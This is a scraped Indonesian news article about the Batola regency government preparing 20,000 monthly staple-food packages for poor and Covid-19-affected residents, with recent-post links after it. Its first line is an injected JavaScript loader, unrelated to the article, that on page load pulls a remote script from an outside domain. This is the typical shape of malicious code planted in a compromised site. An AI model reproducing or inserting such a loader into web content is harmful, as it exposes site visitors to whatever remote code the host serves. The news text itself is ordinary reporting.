(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

20.000 Paket Sembako Disiapkan untuk Warga Miskin dan Rentan Terdampak Covid-19


KANALKALIMANTAN.COM, MARABAHAN – Dinas Sosial telah mendata calon penerima bantuan sosial paket sembako dari Pemkab Batola untuk warga miskin dan rentan di Batola dalam penanganan Covid-19.

Pernyataan tersebut disampaikan Bupati Batola Hj Noormiliyani saat press release penanganan Covid-19 oleh Tim Gugus Tugas Covid-19 Pemkab Batola, Kamis (9/4/2020) di Aula Bahalap Marabahan. Bupati perempuan pertama di Kalsel ini membeberkan, selain melakukan pendataan, pihaknya juga sedang mempersiapkan bantuannya. Bantuan yang diberikan berguna untuk memenuhi kebutuhan pangan. Berupa 20.000 paket per kepala keluarga. Terdiri dari beras 10 kg, gula pasir 2 kg, minyak goreng kemasan 2 liter, dan satu rak telur ayam.

“Bantuan ini diperuntukkan untuk masyarakat miskin yang berjumlah 17.000 dan 3000 paket untuk yang terdampak,” katanya sembari mengatakan data penerima bantuan berdasarkan data Dinas Sosial Pemkab Batola dan usulan dari kecamatan.

Sebanyak 20.000 paket bantuan yang dibagikan nantinya, menurut Noormiliyani akan diberikan setiap bulan selama tiga bulan berturut-turut. Dimulai dari bulan April, dengan nilai per paket sebesar Rp 200 ribu. “Total biaya yang dikeluarkan Pemkab Batola untuk 20.000 paket ini, sebesar Rp 12 miliar,” sebutnya.

Sebagai bantuan yang dipastikan sangat berguna bagi masyarakat, Noormiliyani berharap data orang miskin dan rentan Covid-19 benar-benar tepat sasaran.

Noormiliyani menekankan, 17.000 paket memang diperuntukkan bagi yang mendapat bansos PKH dan BPNT atau program sembako. Hal ini sesuai dengan data yang tercantum dalam Data Terpadu Kesejahteraan Sosial (DTKS), khususnya data bulan Januari 2020. Sedangkan untuk 3.000 paket lainnya, diperuntukkan bagi warga miskin dan terdampak Covid-19 diluar data DTKS.

“3.000 paket ini bisa diberikan kepada warga miskin dan terdampak Covid-19 seperti pedagang kecil, tukang becak, tukang kelotok, tukang ojek online, buruh, dan lainnya,” tandasnya. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie

 


Al Ghifari

Recent Posts

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

12 menit ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

32 menit ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

2 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

4 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

5 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

5 jam ago

This website uses cookies.